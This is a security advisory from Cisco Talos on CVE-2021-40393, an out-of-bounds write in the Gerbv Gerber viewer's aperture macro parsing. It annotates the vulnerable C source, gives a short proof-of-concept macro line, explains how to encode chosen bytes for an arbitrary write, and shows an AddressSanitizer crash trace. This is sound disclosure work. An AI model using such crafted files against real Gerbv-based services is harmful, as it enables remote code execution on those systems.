Talos Vulnerability Report

TALOS-2021-1404

Gerbv RS-274X format aperture macro variables out-of-bounds write vulnerability

DECEMBER 6, 2021

CVE NUMBER

CVE-2021-40393

Summary

An out-of-bounds write vulnerability exists in the RS-274X aperture macro variables handling functionality of Gerbv 2.7.0 and dev (commit b5f1eacd) and the forked version of Gerbv (commit 71493260). A specially-crafted gerber file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

Tested Versions

Gerbv 2.7.0
Gerbv dev (commit b5f1eacd)
Gerbv forked dev (commit 71493260)

Product URLs

https://sourceforge.net/projects/gerbv/

CVSSv3 Score

10.0 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

Details

Gerbv is an open-source software that allows users to view RS-274X Gerber files, Excellon drill files and pick-n-place files. These file formats are used in industry to describe the layers of a printed circuit board and are a core part of the manufacturing process.

Some PCB (printed circuit board) manufacturers use software like Gerbv in their web interfaces as a tool to convert Gerber (or other supported) files into images. Users can upload gerber files to the manufacturer website, which are converted to an image to be displayed in the browser, so that users can verify that what has been uploaded matches their expectations. Gerbv can do such conversions using the `-x` switch (export). For this reason, we consider this software as reachable via network without user interaction or privilege requirements.

Gerbv uses the function `gerbv_open_image` to open files. In this advisory we're interested in the RS-274X file-type.

```
int
gerbv_open_image(gerbv_project_t *gerbvProject, char *filename, int idx, int reload,
                 gerbv_HID_Attribute *fattr, int n_fattr, gboolean forceLoadFile)
{
    ...
    dprintf("In open_image, about to try opening filename = %s\n", filename);

    fd = gerb_fopen(filename);
    if (fd == NULL) {
        GERB_COMPILE_ERROR(_("Trying to open \"%s\": %s"),
                           filename, strerror(errno));
        return -1;
    }
    ...
    if (gerber_is_rs274x_p(fd, &foundBinary)) {                                 // [1]
        dprintf("Found RS-274X file\n");
        if (!foundBinary || forceLoadFile) {
                /* figure out the directory path in case parse_gerb needs to
                 * load any include files */
                gchar *currentLoadDirectory = g_path_get_dirname (filename);
                parsed_image = parse_gerb(fd, currentLoadDirectory);            // [2]
                g_free (currentLoadDirectory);
        }
    }
    ...
```

A file is considered of type "RS-274X" if the function `gerber_is_rs274x_p` [1] returns true. When true, the `parse_gerb` is called [2] to parse the input file. Let's first look at the requirements that we need to satisfy to have an input file be recognized as an RS-274X file:

```
gboolean
gerber_is_rs274x_p(gerb_file_t *fd, gboolean *returnFoundBinary)
{
    ...
    while (fgets(buf, MAXL, fd->fd) != NULL) {
        dprintf ("buf = \"%s\"\n", buf);
        len = strlen(buf);

        /* First look through the file for indications of its type by
         * checking that file is not binary (non-printing chars and white
         * spaces)
         */
        for (i = 0; i < len; i++) {                                          // [3]
            if (!isprint((int) buf[i]) && (buf[i] != '\r') &&
                (buf[i] != '\n') && (buf[i] != '\t')) {
                found_binary = TRUE;
                dprintf ("found_binary (%d)\n", buf[i]);
            }
        }
        if (g_strstr_len(buf, len, "%ADD")) {
            found_ADD = TRUE;
            dprintf ("found_ADD\n");
        }
        if (g_strstr_len(buf, len, "D00") || g_strstr_len(buf, len, "D0")) {
            found_D0 = TRUE;
            dprintf ("found_D0\n");
        }
        if (g_strstr_len(buf, len, "D02") || g_strstr_len(buf, len, "D2")) {
            found_D2 = TRUE;
            dprintf ("found_D2\n");
        }
        if (g_strstr_len(buf, len, "M00") || g_strstr_len(buf, len, "M0")) {
            found_M0 = TRUE;
            dprintf ("found_M0\n");
        }
        if (g_strstr_len(buf, len, "M02") || g_strstr_len(buf, len, "M2")) {
            found_M2 = TRUE;
            dprintf ("found_M2\n");
        }
        if (g_strstr_len(buf, len, "*")) {
            found_star = TRUE;
            dprintf ("found_star\n");
        }
        /* look for X<number> or Y<number> */
        if ((letter = g_strstr_len(buf, len, "X")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after X */
                found_X = TRUE;
                dprintf ("found_X\n");
            }
        }
        if ((letter = g_strstr_len(buf, len, "Y")) != NULL) {
            if (isdigit((int) letter[1])) { /* grab char after Y */
                found_Y = TRUE;
                dprintf ("found_Y\n");
            }
        }
    }
    ...
    /* Now form logical expression determining if the file is RS-274X */
    if ((found_D0 || found_D2 || found_M0 || found_M2) &&                    // [4]
        found_ADD && found_star && (found_X || found_Y))
        return TRUE;

    return FALSE;

} /* gerber_is_rs274x */
```

For an input to be considered an RS-274X file, the file must first contain only printing characters [3]. The other requirements can be gathered by the conditional expression at [4]. An example of a minimal RS-274X file is the following:

```
%FSLAX26Y26*%
%MOMM*%
%ADD100C,1.5*%
D100*
X0Y0D03*
M02*
```

Even though not important for the purposes of the vulnerability itself, note that the checks use `g_strstr_len`, so all those fields can be found anywhere in the file. For example, this file is also recognized as an RS-274X file, even though it will fail later checks in the execution flow:

```
%ADD0X0*
```

After an RS-274X file has been recognized, `parse_gerb` is called, which in turn calls `gerber_parse_file_segment`:

```
gboolean
gerber_parse_file_segment (gint levelOfRecursion, gerbv_image_t *image,
                           gerb_state_t *state,        gerbv_net_t *curr_net,
                           gerbv_stats_t *stats, gerb_file_t *fd,
                           gchar *directoryPath)
{
    ...
    while ((read = gerb_fgetc(fd)) != EOF) {
        ...
        case '%':
            dprintf("... Found %% code at line %ld\n", line_num);
            while (1) {
                    parse_rs274x(levelOfRecursion, fd, image, state, curr_net,
                                stats, directoryPath, &line_num);
```

If our file starts with “%”, we end up calling `parse_rs274x`:

```
static void
parse_rs274x(gint levelOfRecursion, gerb_file_t *fd, gerbv_image_t *image,
             gerb_state_t *state, gerbv_net_t *curr_net, gerbv_stats_t *stats,
             gchar *directoryPath, long int *line_num_p)
{
    ...
    switch (A2I(op[0], op[1])){
    ...
    case A2I('A','D'): /* Aperture Description */
        a = (gerbv_aperture_t *) g_new0 (gerbv_aperture_t,1);

        ano = parse_aperture_definition(fd, a, image, scale, line_num_p); // [6]
        ...
        break;
    case A2I('A','M'): /* Aperture Macro */
        tmp_amacro = image->amacro;
        image->amacro = parse_aperture_macro(fd);                       // [5]
        if (image->amacro) {
            image->amacro->next = tmp_amacro;
        ...
```

For this advisory, we’re interested in the `AM` and `AD` commands. For details on the Gerber format see the specification from Ucamco.

In summary, `AM` defines a “macro aperture template”, which is, in other terms, a parameterized shape. It is a flexible way to define arbitrary shapes by building on top of simpler shapes (primitives). It allows for arithmetic operations and variable definition. After a template has been defined, the `AD` command is used to instantiate the template and optionally passes some parameters to customize the shape.

From the specification, this is the syntax of the `AM` command:

```
<AM command>          = AM<Aperture macro name>*<Macro content>
<Macro content>       = {{<Variable definition>*}{<Primitive>*}}
<Variable definition> = $K=<Arithmetic expression>
<Primitive>           = <Primitive code>,<Modifier>{,<Modifier>}|<Comment>
<Modifier>            = $M|< Arithmetic expression>
<Comment>             = 0 <Text>
```

While this is the syntax for the `AD` command:

```
<AD command> = ADD<D-code number><Template>[,<Modifiers set>]*
<Modifiers set> = <Modifier>{X<Modifier>}
```

In the `parse_rs274x` function, when an `AM` command is found, the function `parse_aperture_macro` is called [5]:

```
gerbv_amacro_t *
parse_aperture_macro(gerb_file_t *fd)
{
    gerbv_amacro_t *amacro;
    gerbv_instruction_t *ip = NULL;
    int primitive = 0, c, found_primitive = 0;
    ...
    int equate = 0;

    amacro = new_amacro();

    ...
    /*
     * Since I'm lazy I have a dummy head. Therefore the first
     * instruction in all programs will be NOP.
     */
    amacro->program = new_instruction();
    ip = amacro->program;

    while(continueLoop) {

        c = gerb_fgetc(fd);
        switch (c) {
        case '$':                                                               // [7]
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = GERBV_OPCODE_PPUSH;
                amacro->nuf_push++;
                ip->data.ival = gerb_fgetint(fd, NULL);
                comma = 0;
            } else {
                equate = gerb_fgetint(fd, NULL);
            }
            break;
        case '*':
            while (!MATH_OP_EMPTY) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            /*
             * Check is due to some gerber files has spurious empty lines.
             * (EagleCad of course).
             */
            if (found_primitive) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                if (equate) {
                    ip->opcode = GERBV_OPCODE_PPOP;                             // [8]
                    ip->data.ival = equate;
                } else {
                    ip->opcode = GERBV_OPCODE_PRIM;
                    ip->data.ival = primitive;
                }
                equate = 0;
                primitive = 0;
                found_primitive = 0;
            }
            break;
        case '=':
            if (equate) {
                found_primitive = 1;
            }
            break;
        case ',':
            if (!found_primitive) {
                found_primitive = 1;
                break;
            }
            while (!MATH_OP_EMPTY) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            comma = 1;
            break;
        case '+':
            while ((!MATH_OP_EMPTY) &&
                   (math_op_prec(MATH_OP_TOP) >= math_op_prec(GERBV_OPCODE_ADD))) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            MATH_OP_PUSH(GERBV_OPCODE_ADD);
            comma = 1;
            break;
        case '-':
            if (comma) {
                neg = 1;
                comma = 0;
                break;
            }
            while((!MATH_OP_EMPTY) &&
                  (math_op_prec(MATH_OP_TOP) >= math_op_prec(GERBV_OPCODE_SUB))) {
                ip->next = new_instruction(); /* XXX Check return value */
                ip = ip->next;
                ip->opcode = MATH_OP_POP;
            }
            MATH_OP_PUSH(GERBV_OPCODE_SUB);
            break;
        ...
        case '1':
        case '2':
        case '3':
        case '4':
        case '5':
        case '6':
        case '7':
        case '8':
        case '9':
        case '.':
            /*
             * First number in an aperture macro describes the primitive
             * as a numerical value
             */
            if (!found_primitive) {
```

```
                primitive = (primitive * 10) + (c - '0');
                break;
            }
            (void)gerb_ungetc(fd);
            ip->next = new_instruction(); /* XXX Check return value */
            ip = ip->next;
            ip->opcode = GERBV_OPCODE_PUSH;
            amacro->nuf_push++;
            ip->data.fval = gerb_fgetdouble(fd);
            if (neg)
                ip->data.fval = -ip->data.fval;
            neg = 0;
            comma = 0;
            break;
        case '%':
            gerb_ungetc(fd);  /* Must return with % first in string
                                 since the main parser needs it */
            return amacro;                                                  // [9]
        default :
            /* Whitespace */
            break;
        }
        if (c == EOF) {
            continueLoop = 0;
        }
    }
    free (amacro);
    return NULL;
}
```

As we can see, this function implements a set of opcodes for a virtual machine that is used to perform the arithmetic operations and handle variable definitions and references (see `GERBV_OPCODE_PPUSH` [7] and `GERBV_OPCODE_PPOP` [8]) via a virtual stack.

The macro is parsed and returned when a `%` is found. For reference, these are the prototype for the macro and the program instructions:

```
struct amacro {
    gchar *name;
    gerbv_instruction_t *program;
    unsigned int nuf_push;
    struct amacro *next;
}

struct instruction {
    gerbv_opcodes_t opcode;
    union {
        int ival;
        float fval;
    } data;
    struct instruction *next;
}
```

Back to `parse_rs274x`, when an `AD` command is found, the function `parse_aperture_definition` is called [6], which in turn calls `simplify_aperture_macro` when the `AD` command is using a template:

```
static int
simplify_aperture_macro(gerbv_aperture_t *aperture, gdouble scale)
{
    ...
    gerbv_instruction_t *ip;
    int handled = 1, nuf_parameters = 0, i, j, clearOperatorUsed = FALSE;
    double *lp; /* Local copy of parameters */
    double tmp[2] = {0.0, 0.0};
    ...
    /* Allocate stack for VM */
    s = new_stack(aperture->amacro->nuf_push + extra_stack_size);               // [10]
    if (s == NULL)
        GERB_FATAL_ERROR("malloc stack failed in %s()", __FUNCTION__);

    /* Make a copy of the parameter list that we can rewrite if necessary */
    lp = g_new (double,APERTURE_PARAMETERS_MAX);                                // [11]

    memcpy(lp, aperture->parameter, sizeof(double) * APERTURE_PARAMETERS_MAX);

    for(ip = aperture->amacro->program; ip != NULL; ip = ip->next) {
        switch(ip->opcode) {
        case GERBV_OPCODE_NOP:
            break;
        case GERBV_OPCODE_PUSH :
            push(s, ip->data.fval);
            break;
        case GERBV_OPCODE_PPUSH :                       // [12]
            push(s, lp[ip->data.ival - 1]);
            break;
        case GERBV_OPCODE_PPOP:
            if (pop(s, &tmp[0]) < 0)                    // [13]
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            lp[ip->data.ival - 1] = tmp[0];             // [14]
            break;
        case GERBV_OPCODE_ADD :
            if (pop(s, &tmp[0]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            if (pop(s, &tmp[1]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            push(s, tmp[1] + tmp[0]);
            break;
        case GERBV_OPCODE_SUB :
            if (pop(s, &tmp[0]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            if (pop(s, &tmp[1]) < 0)
                GERB_FATAL_ERROR(_("Tried to pop an empty stack"));
            push(s, tmp[1] - tmp[0]);
            break;
```

For `AD` to use the template, it has to execute the template in the virtual machine. To this end, a virtual stack is allocated at [10] and a list of parameters is allocated at [11], used to keep the variables' state. Note that in Gerber's specification variable names are simply numbers, so Gerbv uses the variable number also as an index in the `lp` array.

Recall at [7] the `GERBV_OPCODE_PPUSH` opcode is the one used to reference variables via the $ character (for example `$1` references variable 1). We can see at [12] that whenever a variable is referenced for usage it's pushed to the virtual stack.
At [8] the variable assignment case is handled by checking that a `=` is used and that a primitive is found.

As we can see there are no bounds checks to make sure that the `lp` array accesses happen within bounds, so it is possible to define a variable assignment for any variable name (number) that would write out of bounds at [14], leading to arbitrary code execution. In a similar fashion, the code at [12] allows for reading arbitrary data within the process memory.

An example of such assignment with a negative variable name would be:

```
%AMX0*$-100000000=352943162147351756800*%
```

This defines a macro template of name `X0`, and assigns the value `352943162147351756800` to a variable named `-100000000`. `352943162147351756800` is IEEE754-encoded as bytes `0000000011223344` in memory (since pushed/popped primitives' parameters are always handled as a double), so the assignment above is writing `0000000011223344` to the address `lp-100000000*8`.

Finally, note that because of lax parsing of template macros, the following template would achieve the same result:

```
%AMX0*$-100000000,352943162147351756800=*%
```

Crash Information

```
# gerbv -x png -o out simplify_aperture_macro.poc
ASAN:DEADLYSIGNAL
=================================================================
==5293==ERROR: AddressSanitizer: SEGV on unknown address 0xc2813078 (pc 0xf7961675 bp 0xffa3a1b8 sp 0xffa3a0e0 T0)
==5293==The signal is caused by a WRITE memory access.
    #0 0xf7961674 in simplify_aperture_macro src/gerber.c:1944
    #1 0xf7963b26 in parse_aperture_definition src/gerber.c:2272
    #2 0xf795e5b8 in parse_rs274x src/gerber.c:1637
    #3 0xf7951ad8 in gerber_parse_file_segment src/gerber.c:243
    #4 0xf7957660 in parse_gerb src/gerber.c:768
    #5 0xf796d690 in gerbv_open_image src/gerbv.c:526
    #6 0xf796b03d in gerbv_open_layer_from_filename_with_color src/gerbv.c:249
    #7 0x565bdcab in main src/main.c:929
    #8 0xf6b6cf20 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18f20)
    #9 0x5657bc10  (gerbv+0x12c10)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/gerber.c:1944 in simplify_aperture_macro
==5293==ABORTING
```

Timeline

2021-11-03 - Vendor Disclosure
2021-11-24 - Vendor Patched
2021-12-06 - Public Release

CREDIT

Discovered by Claudio Bozzato of Cisco Talos.
